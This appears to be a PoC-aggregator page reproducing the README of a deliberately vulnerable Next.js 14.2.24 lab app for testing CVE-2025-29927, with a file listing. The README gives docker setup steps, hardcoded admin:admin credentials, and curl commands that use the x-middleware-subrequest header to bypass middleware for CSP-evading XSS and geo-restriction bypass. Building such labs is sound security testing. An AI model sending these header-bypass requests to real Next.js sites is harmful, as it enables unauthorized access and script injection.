来源

关联漏洞

介绍

# next.js_cve-2025-29927
A small and simple Next.js application running version 14.2.24 used to test [CVE-2025-29927](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware).

Access the admin area (`/admin`) by utilizing the vulnerability or the hardcoded credentials `admin:admin`.

```bash
» git clone git@github.com:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
```

Besides the obvious authentication bypass this vulnerability can also:

```bash
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se

# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
```

![image](https://github.com/user-attachments/assets/fc576e3d-7fec-4a17-a3eb-ff9152012579)

文件快照

 [4.0K]  /data/pocs/d2832ad0a783ab0fe165a6ceb68112861b19e979
├── [4.0K]  app
│   ├── [4.0K]  admin
│   │   └── [1.4K]  page.js
│   ├── [ 135]  globals.css
│   ├── [ 635]  layout.js
│   ├── [4.0K]  login
│   │   └── [2.1K]  page.js
│   ├── [2.3K]  page.js
│   └── [4.0K]  styles
│       └── [2.9K]  shared.module.css
├── [ 283]  Dockerfile
├── [ 611]  middleware.js
├── [ 401]  package.json
├── [  82]  postcss.config.js
├── [1.1K]  README.md
└── [ 341]  tailwind.config.js

4 directories, 12 files

备注